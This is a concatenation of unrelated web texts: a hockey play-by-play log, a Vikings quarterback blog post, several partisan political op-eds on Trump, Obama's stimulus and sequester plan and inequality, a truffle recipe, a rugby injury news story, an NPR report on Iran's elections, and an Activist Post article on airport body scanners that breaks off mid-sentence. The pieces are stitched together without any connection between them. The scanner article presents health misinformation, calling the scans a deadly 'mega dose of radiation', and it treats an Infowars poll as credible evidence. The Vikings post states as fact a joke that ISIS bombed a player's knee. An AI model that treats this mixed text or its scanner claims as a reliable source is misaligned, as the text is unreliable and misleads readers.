Luongo(Backhand 10 ft)  Shot missed by Nick Leddy, Wide of Net(Wristshot 44 ft)  Shot missed by Kyle Okposo, Wide of Net(Tip-In 13 ft)  Thomas Hickey credited with hit on Erik Gudbranson in defensive zone  Shot on goal by Thomas Hickey saved by Roberto Luongo(Snap 77 ft)  Shot on goal by Nick Leddy saved by Roberto Luongo(Snap 55 ft)  Shot on goal by Matt Martin saved by Roberto Luongo(Tip-In 12 ft)  Shot on goal by John Tavares saved by Roberto Luongo(Backhand 12 ft)  Shot on goal by Kyle Okposo saved by Roberto Luongo(Wristshot 12 ft)  Matt Martin credited with hit on Alexander Petrovic in offensive zone  Shot on goal by John Tavares saved by Roberto Luongo(Snap 48 ft)  Shane Prince credited with hit on Jussi Jokinen in neutral zone  Alan Quine credited with hit on Alexander Petrovic in offensive zone  Shot on goal by Matt Martin saved by Roberto Luongo(Snap 34 ft)  Matt Martin credited with hit on Aaron Ekblad in offensive zone  Matt Martin credited with hit on Aleksander Barkov in neutral zone  Shot missed by John Tavares, Wide of Net(Wristshot 20 ft)  Shot on goal by Brock Nelson saved by Roberto Luongo(Snap 26 ft)  Shot missed by Shane Prince, Wide of Net(Wristshot 12 ft)  Shot on goal by Brock Nelson saved by Roberto Luongo(Wristshot 28 ft)  Shot missed by Kyle Okposo, Wide of Net(Tip-In 12 ft)  Shot on goal by Steve Bernier saved by Roberto Luongo(Slapshot 24 ft)  Shot on goal by Matt Martin saved by Roberto Luongo(Snap 41 ft)  Shot on goal by Brock Nelson saved by Roberto Luongo(Wristshot 23 ft)  Shot missed by Casey Cizikas, Wide of Net(Wristshot 30 ft)  Shot missed by Travis Hamonic, Over Net(Slapshot 59 ft)  Shot missed by John Tavares, Wide of Net(Wristshot 30 ft)  Shot on goal by Alan Quine saved by Roberto Luongo(Wristshot 32 ft)  Cal Clutterbuck credited with hit on Michael Matheson in defensive zone  Shot on goal by Nick Leddy saved by Roberto Luongo(Snap 28 ft)  Shot missed by Frans Nielsen, Wide of Net(Wristshot 23 ft)  Shot on goal by Nick Leddy saved by Roberto Luongo(Slapshot 87 ft)  Shot on goal by Shane Prince saved by Roberto Luongo(Wristshot 15 ft)  Matt Martin credited with hit on Brian Campbell in offensive zone  Shot on goal by John Tavares saved by Roberto Luongo(Wristshot 23 ft)  Michael Matheson credited with hit on Steve Bernier in defensive zone  Aaron Ekblad credited with hit on Cal Clutterbuck in defensive zone  Shot missed by Shawn Thornton, Wide of Net(Snap 73 ft)  Alexander Petrovic credited with hit on Josh Bailey in defensive zone  Shot on goal by Brian Campbell saved by Thomas Greiss(Wristshot 55 ft)  Shot on goal by Vincent Trocheck saved by Thomas Greiss(Wristshot 31 ft)  Logan Shaw credited with hit on Calvin de Haan in offensive zone  Shot on goal by Reilly Smith saved by Thomas Greiss(Snap 33 ft)  Shot missed by Alexander Petrovic, Wide of Net(Wristshot 59 ft)  Shot missed by Jaromir Jagr, Over Net(Snap 43 ft)  Garrett Wilson credited with hit on Calvin de Haan in offensive zone  Vincent Trocheck credited with hit on Alan Quine in offensive zone  Shot missed by Aaron Ekblad, Wide of Net(Snap 18 ft)  Shot missed by Jaromir Jagr, Wide of Net(Snap 40 ft)  Vincent Trocheck credited with hit on Thomas Hickey in defensive zone  Dmitry Kulikov credited with hit on Steve Bernier in defensive zone  Dmitry Kulikov credited with hit on Thomas Hickey in defensive zone  Shot on goal by Michael Matheson saved by Thomas Greiss(Snap 37 ft)  Shot missed by Jonathan Huberdeau, Goalpost(Wristshot 15 ft)  Derek MacKenzie credited with hit on Marek Zidlicky in offensive zone  Aaron Ekblad credited with hit on Frans Nielsen in neutral zone  Aleksander Barkov credited with hit on Calvin de Haan in offensive zone  Dmitry Kulikov credited with hit on John Tavares in offensive zone  Erik Gudbranson credited with hit on Casey Cizikas in defensive zone  Jussi Jokinen credited with hit on Calvin de Haan in offensive zone  Shot on goal by Derek MacKenzie saved by Thomas Greiss(Slapshot 44 ft)  Shot missed by Vincent Trocheck, Over Net(Snap 43 ft)  Shot on goal by Aleksander Barkov saved by Thomas Greiss(Wristshot 22 ft)  Vincent Trocheck credited with hit on Johnny Boychuk in offensive zone  Aaron Ekblad credited with hit on Casey Cizikas in defensive zone  Shot missed by Aaron Ekblad, Wide of Net(Snap 58 ft)  Shot on goal by Jonathan Huberdeau saved by Thomas Greiss(Tip-In 12 ft)  Shot missed by Michael Matheson, Wide of Net(Snap 56 ft)  Shot on goal by Jussi Jokinen saved by Thomas Greiss(Backhand 27 ft)  Shot on goal by Jussi Jokinen saved by Thomas Greiss(Wristshot 13 ft)  Shot missed by Jaromir Jagr, Wide of Net(Wristshot 32 ft)  Shot missed by Dmitry Kulikov, Wide of Net(Snap 52 ft)  Shot on goal by Jonathan Huberdeau saved by Thomas Greiss(Tip-In 12 ft)  Shot on goal by Alexander Petrovic saved by Thomas Greiss(Slapshot 46 ft)  Shot on goal by Garrett Wilson saved by Thomas Greiss(Tip-In 20 ft)  Shot missed by Derek MacKenzie, Wide of Net(Slapshot 45 ft)  Shot on goal by Jiri Hudler saved by Thomas Greiss(Backhand 20 ft)  Shot on goal by Jiri Hudler saved by Thomas Greiss(Snap 55 ft)  Shot missed by Jiri Hudler, Wide of Net(Snap 61 ft)  Shot on goal by Jonathan Huberdeau saved by Thomas Greiss(Wristshot 44 ft)  Erik Gudbranson credited with hit on Alan Quine in defensive zone  Shot on goal by Dmitry Kulikov saved by Thomas Greiss(Wristshot 11 ft)  Aleksander Barkov credited with hit on Marek Zidlicky in offensive zone  Alexander Petrovic credited with hit on Calvin de Haan in neutral zone  Shot on goal by Jaromir Jagr saved by Thomas Greiss(Snap 40 ft)  Alexander Petrovic credited with hit on Frans Nielsen in defensive zone  Shot on goal by Reilly Smith saved by Thomas Greiss(Snap 32 ft)  Shot missed by Jussi Jokinen, Wide of Net(Snap 50 ft)  Logan Shaw credited with hit on Casey Cizikas in offensive zone  Shot on goal by Vincent Trocheck saved by Thomas Greiss(Snap 44 ft)  Shot missed by Garrett Wilson, Wide of Net(Backhand 19 ft)  Garrett Wilson credited with hit on John Tavares in neutral zone  Shot on goal by Derek MacKenzie saved by Thomas Greiss(Slapshot 58 ft)  Shot on goal by Brian Campbell saved by Thomas Greiss(Slapshot 56 ft)  Shot on goal by Jonathan Huberdeau saved by Thomas Greiss(Snap 45 ft)  Logan Shaw credited with hit on Cal Clutterbuck in defensive zone  Aaron Ekblad credited with hit on Cal Clutterbuck in defensive zone  Shot on goal by Aleksander Barkov saved by Thomas Greiss(Wristshot 30 ft)  Shot on goal by Logan Shaw saved by Thomas Greiss(Snap 33 ft)  Shot on goal by Jaromir Jagr saved by Thomas Greiss(Snap 43 ft)  Shot on goal by Jonathan Huberdeau saved by Thomas Greiss(Snap 52 ft)  Shot on goal by Reilly Smith saved by Thomas Greiss(Backhand 25 ft)  Shot on goal by Logan Shaw saved by Thomas Greiss(Snap 40 ft)  Vincent Trocheck credited with hit on Kyle Okposo in offensive zone  Derek MacKenzie credited with hit on John Tavares in neutral zone  Shot on goal by Jonathan Huberdeau saved by Thomas Greiss(Wristshot 41 ft)  Shot on goal by Jonathan Huberdeau saved by Thomas Greiss(Wristshot 35 ft)  Alexander Petrovic credited with hit on Nick Leddy in defensive zone  Teddy Purcell credited with hit on Thomas Hickey in neutral zone  Derek MacKenzie credited with hit on Nikolay Kulemin in offensive zone  Shot on goal by Logan Shaw saved by Thomas Greiss(Wristshot 10 ft)  Shot missed by Brian Campbell, Wide of Net(Snap 63 ft)  Shot on goal by Dmitry Kulikov saved by Thomas Greiss(Slapshot 85 ft)  Dmitry Kulikov credited with hit on Frans Nielsen in neutral zone  Brian Campbell credited with hit on Matt Martin in defensive zone  Shot on goal by Aleksander Barkov saved by Thomas Greiss(Slapshot 57 ft)  Shot missed by Erik Gudbranson, Over Net(Snap 33 ft)  Aaron Ekblad credited with hit on Casey Cizikas in defensive zone  Reilly Smith credited with hit on Travis Hamonic in offensive zone  Logan Shaw credited with hit on Thomas Hickey in offensive zone  Shot on goal by Aaron Ekblad saved by Thomas Greiss(Wristshot 19 ft)  Shot on goal by Jonathan Huberdeau saved by Thomas Greiss(Wristshot 15 ft)  Vincent Trocheck credited with hit on Alan Quine in neutral zone  Shot on goal by Derek MacKenzie saved by Thomas Greiss(Snap 34 ft)  Shot on goal by Aaron Ekblad saved by Thomas Greiss(Slapshot 60 ft)  Shot missed by Aaron Ekblad, Wide of Net(Slapshot 55 ft)  Shot on goal by Jaromir Jagr saved by Thomas Greiss(Backhand 12 ft)  Shot on goal by Reilly Smith saved by Thomas Greiss(Snap 26 ft)  Shot on goal by Brian Campbell saved by Thomas Greiss(Wristshot 29 ft)  Logan Shaw credited with hit on Marek Zidlicky in offensive zone  Logan Shaw credited with hit on Shane Prince in neutral zone  Reilly Smith credited with hit on Nick Leddy in neutral zone  Shot missed by Vincent Trocheck, Wide of Net(Wristshot 17 ft)  Shot missed by Jussi Jokinen, Wide of Net(Wristshot 37 ft)  Shot missed by Jiri Hudler, Wide of Net(Snap 40 ft)  Shot on goal by Logan Shaw saved by Thomas Greiss(Wristshot 7 ft)  Shot missed by Brian Campbell, Wide of Net(Snap 37 ft)  Shot missed by Erik Gudbranson, Wide of Net(Slapshot 48 ft)  Shawn Thornton credited with hit on Casey Cizikas in offensive zone
-A few days ago, when it was announced that Sam Bradford wouldn’t play against the Tampa Bay Buccaneers, I wrote a piece chronicling the trials and tribulations Mike Zimmer has endured since he became the Vikings coach.  I might have missed the most amazing stat in all of that.  Mike Zimmer has coached 51 games for the Vikings, is 28-23 overall, and won the NFC North in 2015. He has done that with his quarterback of choice starting only 20 games.  Wait, what?  Yeah, let’s break it down.  In 2014, we all know the Vikings moved up to draft QB Teddy Bridgewater with the last pick in the first round. But the Vikings plan was for Teddy to sit behind Matt Cassel, presumably for the year, to let him learn the craft under the tutelage of a seasoned NFL veteran.  That lasted all of three games, as Cassel broke multiple bones in his foot during a game in New Orleans. From then on Bridgewater started 12 games, and Christian Ponder started one.  In 2015, Bridgewater was named the starting quarterback, and started all 16 games. The Vikings went 11-5, and won the NFC North.  Last year, as we know, Bridgewater’s knee exploded when ISIS planted a bomb on Teddy and detonated it between his ACL and MCL. He was out for the season and then some, and the Vikings traded for Sam Bradford. Yes, Bradford is a starting-caliber QB, and would start for most NFL teams. Still, he wasn’t supposed to be the starting QB for the Vikings, and as Mike Zimmer has said more than once, he never thought he’d have another QB besides Teddy. So Shaun Hill started week one, and Bradford started the remaining 15.  This year, Bradford came in as the starter while Bridgewater still rehabs his knee. Bradford made it exactly one week until his twice-surgically repaired knee began acting up, and Keenum has been pressed in to service the past two weeks, going 1-1 in that time.  So, to recap:  2014: 3 of 16 games, 7-9 record  2015: 16 of 16 games, 11-5 record  2016: 0 of 16 games, 8-8 record  2017 (so far): 1 of 3 games, 2-1 record  So with having the quarterback he planned on initially playing in only 39% of his tenure, Mike Zimmer and the Vikings have managed to go 28-23 in that time.  I don’t know if that’s some kind of weird NFL record, or just a bizarre confluence of circumstances, but there’s only one way I can properly express myself when I figured this all out earlier today:
-The most important under-investigated story of the presidential campaign could ultimately become the greatest political scandal in U.S. history: how the Trump administration may have conspired with top Russian intelligence officials, and perhaps Vladimir Putin himself, to interfere in the election, get Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE elected President, and undermine U.S. foreign policy. As revelations about these Russian contacts slowly leak out, some legal scholars are beginning to suggest that Trump campaign officials might have broken the law or even committed treason.  That sounds like partisan hyperbole, but it may eventually become an inescapable legal conclusion that Democrats and Republicans alike will need to face. Consider what we now know.  According to The New York Times, phone records and intercepted calls show that senior members of the Trump campaign, his transition team, and his associates were in regular contact with Russian intelligence officials throughout 2016. This should not surprise anyone, given that National Security Advisor Michael Flynn is actually the third top Trump staffer who has had to resign because of ties to Russia, following former campaign manager Paul Manafort and campaign advisor Carter Page.  ADVERTISEMENT  Meanwhile, U.S. intelligence agencies definitively concluded weeks ago that the same Russian intelligence operation that was communicating with the Trump campaign deliberately hacked the emails of the Democratic National Committee and senior members of the Clinton campaign and leaked those emails to the public. Moreover, according to our intelligence agencies, this effort was ordered by Putin himself with the explicit aim of helping Trump win the election.  We also now know that Flynn continued speaking with Russian officials after the election, providing back-channel information to the Russians in order to undermine then-President Obama’s sanctions on Russia for the very same hacking that was orchestrated on Trump’s behalf.  To be sure, there is, so far, no proof that any of these communications happened under Trump’s orders or with his knowledge. Yet, it is hard to believe that so many interactions by such high-level members of Trump’s campaign or his administration could possibly have occurred without Trump’s knowledge or his tacit or explicit consent.  In addition, we now know that when Acting Attorney General Sally Yates reported on Flynn’s illegal conversations, Trump not only did not fire Flynn, he instead fired Yates, four days later. And even now, the White House states that Flynn was fired for being untrustworthy with his superiors, not for breaking the law by conspiring with the Russians in the first place.  These ongoing Russia connections might also help explain other mysteries of the past year. For example, why has Trump continued to refuse to release his financial records? Would those records, as Sen. Chris Murphy (D-Conn.) suggested on Wednesday, provide evidence of deep financial ties to Russia, or even direct payments? And why has Trump himself been so strangely unwilling to criticize Putin despite being given many easy opportunities to do so?  We don’t have the answers to these questions. But they clearly require bipartisan investigation and an independent counsel with no ties to Attorney General Jeff Sessions Jefferson (Jeff) Beauregard SessionsTrump says he hasn't spoken to Barr about Mueller report Ex-Trump aide: Can’t imagine Mueller not giving House a ‘roadmap’ to impeachment Rosenstein: My time at DOJ is 'coming to an end' MORE or the administration. After all, if the Trump campaign used back channels to secretly conspire with the Russians to impact the election and undermine the sitting president of the United States, it is not only improper, it is the definition of treason. Moreover, it suggests that this administration might now owe more allegiance to Putin than to the U.S. Constitution it is sworn to protect and defend.  Such an allegation is chilling, particularly at a time when Russia is deploying missiles in violation of its treaty obligations, leaving a compromised Trump administration without a credible response. Indeed, any allegation of treason seems almost unfathomable. Yet, that is the unfortunate state we are in. The fall of Michael Flynn is only the beginning of the slow unraveling.  Paul Schiff Berman is the Walter S. Cox Professor of Law at George Washington University Law School and the author of Global Legal Pluralism, published by Cambridge University Press in 2012.  The views expressed by contributors are their own and are not the views of The Hill.
-Journalism with real independence and integrity is a rare thing. Truthout relies on reader donations – click here to make a tax-deductible contribution and support our work.  The advance word is that inequality is going to be the central theme in President Obama’s State of the Union Address on Tuesday. That’s certainly good news, since it is a huge problem. The question is whether President Obama is prepared to talk about inequality in a way that gets to the core of the problem as opposed to just clipping away at the edges.  It’s a safe bet that we will see the latter. Obama has indicated that he will redouble his efforts to push for a $10.10 minimum wage. This is good news. This will mean a substantial increase in the wages for people at the bottom of the income ladder. The bulk of the gains from a higher minimum wage will go to people who really need it.  The days are long over when minimum wage workers were high school kids from middle class families picking up spending money working after school. The workers who will benefit from a minimum wage hike are overwhelmingly adults, many of whom are supporting children. The higher minimum wage will also put a substantial dent in the poverty numbers, reducing the share of the population in poverty by 1-2 percentage points, close to 5 million people.  Anyone who thinks a $10.10 minimum wage is too high should consider that from 1938 to 1968 we raised the minimum wage in step with productivity growth. If we had continued with this practice the minimum wage would be over $17 an hour today.  A higher minimum wage is great, but it won’t benefit most people, for the rest of the population we’ll have to look for other items on the president’s agenda. One of these is likely to be universal pre-kindergarten. This is a good policy that Obama has pushed in the past. It’s a proven winner in terms of the benefits to children. It’s also important as a form of child care for working parents. But as a way to address inequality, universal pre-kindergarten is at best limited and certainly long-term. It will not have a noticeable impact in this decade or possibly even the next.  There are some items on President Obama’s agenda that push in the wrong direction, most notably his plans for the Trans-Pacific Partnership (TPP). This is wrongly billed as a “free-trade” agreement. In reality it has very little to do with free trade.  The TPP is about imposing a regulatory structure that will give corporations more power over the political process. It will make effective health, safety, and environmental regulation more difficult. It may also shield the financial sector from efforts to rein in the sort of abuses that led to the financial crisis. And, it will make drugs more expensive. The TPP is about redistributing income upward; it has no place on a serious inequality agenda.  It is possible to envision a trade agreement that would reduce inequality. If a deal focused on opening the doors to more foreign doctors and other highly paid professionals, it would lead to lower incomes for many in the top one percent and lower cost health care, legal services, and other serviced provided this overpaid group. We could also open the door to low-cost generic drugs, saving tens of billions of dollars annually on prescription medicine.  Trade agreements can also be an avenue for reducing our chronic trade deficit. If we used a deal to negotiate a drop in the value of the dollar against the currencies of our trading partners, it could move us toward balanced trade. If we were to eliminate the trade deficit completely, it would directly create over 4 million jobs, the bulk of which would be relatively high-paying manufacturing jobs. Adding in the indirect jobs created from these workers’ spending, the increase in employment would be over 6 million, getting us most of the way back to full employment.  Getting back to full employment really should be at the center of any inequality agenda. Full employment matters not only for the unemployed workers who would get jobs and the underemployed workers who could work more hours, it also leads to tighter labor markets. As a result, workers at the middle and bottom of the pay ladder would be able share in the gains of economic growth as they did in the late 1990s boom.  Unfortunately, full employment does not seem to be on anyone’s agenda right now. The budget cuts that slowed the economy and cost us millions of jobs over the last three years are now largely behind us, but no one seems prepared to push an investment agenda or the sort of trade policy that can bring us back to full employment any time soon.  That means we will see little real progress in addressing inequality based on President Obama’s agenda. An increase in the minimum wage is an important goal with substantial benefits but it should not be confused with an inequality agenda.
-sure there must be  Today or yesterday was the one year anniversary of the Stimulus package and everyone was marveling at the conservative hypocrisy epitomized by Republicans fighting against the Stimulus bill before it was passed and lying about its impact since then (especially this week), while sandwiched in between, something like a hundred of them demanded some of that money for their pet projects back home-- and even touted the benefits as though they had passed the legislation!Disgraced former Republican Congressman Joe Scarborough, now one of MSNBC's right-wing talking heads, invited Howard Dean and Sam Stein onto his show yesterday to discuss the anniversary. Dean, though effectively and justifiably bashing the Republicans for their crass obstructionism, didn't make any friends at the White House. He forcefully pointed out that the Obama is coming across as weak and incompetent. I'mopen to the possibility that there might possibly be some people who disagree with the proposition that Obama is one gigantic disappointment... but I've never met one. The best I ever hear about him is that he's better than the alternatives.  Visit msnbc.com for breaking news, world news, and news about the economy  Just look at the outside evaluations of the stimulus. Perhaps the best-known economic research firms are IHS Global Insight, Macroeconomic Advisers and Moody’s Economy.com. They all estimate that the bill has added 1.6 million to 1.8 million jobs so far and that its ultimate impact will be roughly 2.5 million jobs. The Congressional Budget Office, an independent agency, considers these estimates to be conservative.  Yet I’m guessing you don’t think of the stimulus bill as a big success. You’ve read columns (by me, for example) complaining that it should have spent money more quickly. Or you’ve heard about the phantom ZIP code scandal: the fact that a government Web site mistakenly reported money being spent in nonexistent ZIP codes.  And many of the criticisms are valid. The program has had its flaws. But the attention they have received is wildly disproportionate to their importance. To hark back to another big government program, it’s almost as if the lasting image of the lunar space program was Apollo 6, an unmanned 1968 mission that had engine problems, and not Apollo 11, the moon landing.  The reasons for the stimulus’s middling popularity aren’t a mystery. The unemployment rate remains near 10 percent, and many families are struggling. Saying that things could have been even worse doesn’t exactly inspire. Liberals don’t like the stimulus because they wish it were bigger. Republicans don’t like it because it’s a Democratic program. The Obama administration hurt the bill’s popularity by making too rosy an economic forecast upon taking office.  Moreover, the introduction of the most visible parts of the program-- spending on roads, buildings and the like-- has been a bit sluggish. Aid to states, unemployment benefits and some tax provisions have been more successful and account for far more of the bill. But their successes are not obvious.  ...The case against the stimulus revolves around the idea that the economy would be no worse off without it. As a Wall Street Journal opinion piece put it last year, “The resilience of the private sector following the fall 2008 panic-- not the fiscal stimulus program-- deserves the lion’s share of the credit for the impressive growth improvement.” In a touch of unintended irony, two of article’s three authors were listed as working at a research institution named for Herbert Hoover.  Of course, no one can be certain about what would have happened in an alternate universe without a $787 billion stimulus. But there are two main reasons to think the hard-core skeptics are misguided-- above and beyond those complicated, independent economic analyses.  The first is the basic narrative that the data offer. Pick just about any area of the economy and you come across the stimulus bill’s footprints.  In the early months of last year, spending by state and local governments was falling rapidly, as was tax revenue. In the spring, tax revenue continued to drop, yet spending jumped-- during the very time when state and local officials were finding out roughly how much stimulus money they would be receiving. This is the money that has kept teachers, police officers, health care workers and firefighters employed.  Then there is corporate spending. It surged in the final months of last year. Mark Zandi of Economy.com (who has advised the McCain campaign and Congressional Democrats) says that the Dec. 31 expiration of a tax credit for corporate investment, which was part of the stimulus, is a big reason.  The story isn’t quite as clear-cut with consumer spending, as skeptics note. Its sharp plunge stopped before President Obama signed the stimulus into law exactly one year ago. But the billions of dollars in tax cuts, food stamps and jobless benefits in the stimulus have still made a difference. Since February, aggregate wages and salaries have fallen, while consumer spending has risen. The difference between the two-- some $100 billion-- has essentially come from stimulus checks.  Obama's biggest mistake was made on the second day after his election when he chose the Beltway's most over-hyped incompetent, Wall Street shill Rahm Emanuel to run his administration. There isWall Street could have done more effectively to sabotage that "hopey-changey thing" than placing one of their most dependable operatives right at the heart of the Administration. Emanuel spent his entire career doing three things: enriching himself, ingratiating himself to the richest and most powerful forces, and manufacturing a totally baseless image with the pathetically snookered sucker media in The Village. And Obama fell for it, lock, stock and barrel. Dean didn't-- which is why the most spectacularly successful head of the DNC was replaced by a colorless and failed conservative hack. Yesterday'ssaid all that is needed to be said about the results of the Stimulus package . Take my word for it-- it isn't what you'll hear parroted by the TV talking heads who reach far more people (and have a different agenda ).  Labels: Howard Dean, Obama's stimulus package, Rahm Emanuel
-Yum  Here’s a delicious chocolate and coconut truffle recipe. These treats are not only decadent and easy to make, but they are also suitable for a raw, vegan, gluten-free or paleo diet.  You probably already know that chocolate and coconut is one of my favorite combinations. This is optional, but I added some hazelnuts to the truffle mixture, and I think that they make the taste of the truffles special and indulgent. However, you can replace hazelnuts with any nuts or seeds you like, or you can just skip this step.  Lastly, if you don’t have coconut cream or full-fat coconut milk at hand, you can use a little bit of plant-based milk and some more coconut oil to get the right consistency.  Other dessert recipes you may like  Ingredients  4 tablespoons coconut cream (from a can of refrigerated coconut milk)  (from a can of refrigerated coconut milk) 1 tablespoon coconut oil  1 1/4 cup of desiccated coconut (1 cup for the mixture and ¼ for rolling the truffles)  4 tablespoons cocoa or cacao powder  3-4 tablespoons of maple syrup  ¼ cup of hazelnuts  Instructions  Grind the hazelnuts in a blender or food processor. Add the rest of the ingredients and process until you have a homogeneous mixture. If the mixture feels too soft, put it in the fridge for 10-15 minutes.  Shape balls out of the mixture and roll them into desiccated coconut.  Keep the truffles in the fridge. They’ll need a few hours to harden up.  Enjoy! 🙂  Print Delicious Chocolate and Coconut Truffles Yield: 15 Ingredients 4 tablespoons coconut cream (from a can of refrigerated coconut milk)  1 tablespoon coconut oil  1 1/4 cup of desiccated coconut (1 cup for the mixture and ¼ for rolling the truffles)  4 tablespoons cocoa or cacao powder  3-4 tablespoons of maple syrup  ¼ cup of hazelnuts Instructions Grind the hazelnuts in a blender or food processor. Add the rest of the ingredients and process until you have a homogeneous mixture. If the mixture feels too soft, put it in the fridge for 10-15 minutes. Shape balls out of the mixture and roll them into desiccated coconut. Keep the truffles in the fridge. They’ll need a few hours to harden up. 5.0 https://www.myhealthydessert.com/recipes/chocolate-coconut-truffles/ © MyHealthyDessert  If you like the recipe, share it with your friends and if you try making these vegan truffles, please let me know how they turned out for you!  Don’t forget to follow me on Facebook and Twitter to know when a new recipe is up. ?
-Rugby player Haydn Peacock, 23, discussed a tackle during a match in February where a defender nearly ripped off his penis. Peacock said he played the rest of the half before receiving 11 stitches, and returned to play the next game without a protective cup. Photo by haydnpeacock1/Instagram  CARCASSONNE, France, March 15 (UPI) -- An Irish rugby player detailed the circumstances surrounding a tackle that he said nearly caused him to lose his penis.  Haydn Peacock, 23, shared a photo to his Instagram showing a defender pulling at the area as he played in a match for France's AS Carcassonne.  "[Rugby league] is definitely not a sport I recommend," he said of the incident that occurred in early February. "11 stitches later for the little fella but she'll be right."  About a month later Peacock has returned to the field and provided some insight on the injury in an interview with French Footy.  The injury occurred in a scrum during the first half of a match against the St. Esteve Catalans Dragons, when a player grabbed Peacock's penis and pulled it toward the ground as he attempted a tackle.  Peacock played out the rest of the half before inspecting the injury at half-time when he was taken in to receive stitches.  "They had to go and get the UTC doctor and he came in and checked it out and he was like, 'Oh man, you're going to have to go and get stitches,'" he said. "So I had to go to the clinic that night and they had to put 11 stitches around it to put the skin back together."  He remained relatively unfazed by the incident, joking with his teammates about it, and returning to play the next game without any kind of protective equipment.  "I remember I had to strap it all up for the next game. I just had to go around it. The coach wanted me to go out and buy a cup but I'm not going to play with a cup, I'm not going to be able to run," he said. "I just had to heavily strap it. It's all good [now]. I got the stitches out and it's all sweet. No dramas."
-Budget: When President Obama put out his "balanced" plan to avoid the automatic sequester cuts, no one noticed. Which is probably just as well for Obama, given how embarrassingly unbalanced it is.  Last week, New York Times columnist David Brooks wrote about how Obama "hasn't actually come up with a proposal to avert sequestration, let alone one that is politically plausible."  Turns out, Obama did have one, although Brooks can be excused for not knowing it, since the administration hasn't exactly been promoting this so-called plan.  That, too, is understandable, since it isn't a plan at all, just a list of numbers with little to back them up.  There are no details, for example, about the $200 billion in cuts to defense and domestic discretionary programs, other than that Obama wants them split evenly.  And while he offers $400 billion in "health savings," 30% are lumped in a bucket labeled "other."  Worse, Obama's "balanced" plan actually counts hundreds of billions of new revenues from taxes, fees and rebates as "spending reductions." Examples:  • His plan to "strengthen" unemployment insurance is labeled as a cut, but it's really a $50 billion tax hike.  • The $35 billion from the federal worker retirement programs involves boosting worker contributions.  • Most of the $35 billion in Medicare savings comes from charging wealthy seniors more.  • The $140 billion in "reduced payments to drug companies" are in fact rebates Obama wants drugmakers to pay Uncle Sam for selling drugs to poor seniors.  • Then there's the $45 billion in spectrum fees and asset sales that Obama lists as spending reductions.  Viewed correctly, it turns out that more than $300 billion — about a third — of Obama's proposed "spending cuts" are actually revenue increases.  As a result, instead of $1.2 trillion in spending cuts called for by the sequester over the next decade, Obama would add more than $1 trillion in revenues, while cutting outlays only about $600 billion. And much of those aren't real cuts, but tiny reductions in projected spending growth over the next decade.  And in the end, his plan, such as it is, will do nothing to forestall the nation's oncoming debt crisis.  After four years, Obama's unseriousness as a president continues to surprise us.  RELATED:  So Much Government Growth, So Much Spending To Cut.  Is Obama Losing His Media Allies Over Sequester?.  Sequester Cuts Won’t Cause Flight Delays.  Obama’s Mayan Calendar Moment.
-Partial Results Show Iranian Moderates Poised For Big Wins In Tehran  Enlarge this image toggle caption Behrouz Mehri/AFP/Getty Images Behrouz Mehri/AFP/Getty Images  Partial results from Iran's elections on Friday indicate that pro-reform moderates will win all 30 of Tehran's parliamentary seats — a victory for Iranian President Hassan Rouhani, and a blow to Iran's hard-liners.  Tehran's delegation is only a fraction of Iran's 290-seat parliament, and NPR's Peter Kenyon reports that conservative representatives are likely to do well in other parts of the country — but the gains in the capital are significant.  "Initial returns gave 29 of Tehran's 30 seats to reform and center-right candidates, with Gholamali Haddad-Adel the only hardliner. Now Iranian state TV says he too appears to be losing his seat," Peter reports from Tehran.  Reformists seem poised to win those 30 seats despite many pro-reform candidates being disqualified from the election before voting began. Moderate voters hoped that a heavy turnout would allow their relatively small number of candidates to edge out hard-liner opponents — and in the capital, at least, the strategy appears to have worked.  Moderate candidates also did well in Iran's other election, for the Assembly of Experts, which will someday choose the next Supreme Leader of Iran. "President Hassan Rouhani and former President Ali Akhbar Hashemi Rafsanjani, both of whom have been embraced by reformists, are the leading vote getters," Peter says.  Middle East Nuclear Deal Will Play A Role In Iran's Elections Nuclear Deal Will Play A Role In Iran's Elections Listen · 4:04 4:04  The election is the first since last year's landmark nuclear deal that required Iran to curb its nuclear program in exchange for a lifting of international sanctions. Rouhani promoted the deal, in the face of hardliner opposition.  If the partial results hold and the moderates who supported the deal expand their presence in the legislature, the Associated Press writes, that could "pave the way for increased economic openness and greater cooperation with the West on regional issues like the war against the Islamic State group."  The gains would be a sharp change in Iran's parliament, the AP notes: "Reformists currently hold fewer than 20 seats and have been virtually shut out of politics since losing their parliamentary majority in the 2004 elections."
-John Galt  Activist Post  Australia continues trying to outdo America’s march toward authoritarian control over its population. The two countries seem to be trading salvos to see which can eradicate the rights of their citizens faster.  Australia appears to have taken the lead with their latest proposal to ban travelers who refuse being subjected to the full body microwave radiation scans that have proven to be a horrible invasion of privacy, as well as a legitimate threat to one’s health.  The list of assurances from the Australian government via its Orwellian-named Privacy Commission echo similar false guarantees issued by America’s TSA: passengers will not appear nude, and the images will be discarded. However, there is no mention of the cumulative negative health effects (particularly to children) of receiving a mandatory mega dose of radiation each time one exercises their right to travel by plane.  Australia’s transport minister, Anthony Albanese, cites the unsubstantiated claim that,  …the public understands that we live in a world where there are threats to our security and experience shows they want the peace of mind that comes with knowing government is doing all it can.  Adding for good measure that,  For this technology to work effectively, obviously there can’t be an option to refuse screening.  Obviously.  Download Your First Issue Free! Do You Want to Learn How to Become Financially Independent, Make a Living Without a Traditional Job & Finally Live Free?  Download Your Free Copy of Counter Markets  What is more obvious is the blatant disregard of a public which wants very little to do with this technology. The website Airport Body Scanner Truth, reveals the flawed polling techniques that have been used and manipulated by the corporate media and the tyrannical powers they serve.  In one CBS poll that revealed 81% of people approved of full body X-ray machines, their simplistic methods demonstrated that:  They asked a random sampling of Americans — not American flyers, or American frequent flyers. They did not follow up with questions regarding the likeliness of approval if the subject knew that the machines were potentially harmful, that graphic images were being stored, that they violated child pornography laws, that security experts believe they are ineffective and wasteful, that you may be subjected to sexual molestation even after using the machines, or that pilots and flight attendants recommend not to use them. (Source)  The devil is in the details once again.  When people are properly informed, instead of being subjected to fear mongering and hyperbole of an exceedingly rare event like a terror threat to airline travel, the results are far different, as seen in an Infowars.com poll, which revealed:  “…that over 90 percent of respondents will not use commercial airlines if airports continue to subject travelers to deadly radiation emitting naked body scanners. 92% said they would avoid airports while 8% said use of the devices would not stop them from flying.” (Source)  These results from an educated alternative media source with a global readership (and nearly 14 times the number of respondents as the CBS poll cited above, incidentally) is evidence that people the world over can see through the scam of the decade known as the global war on terror if they are permitted to properly evaluate available information that can lead them to a more rational conclusion.  Australia’s attempt at a “no scan, no fly” policy is surely to be cited 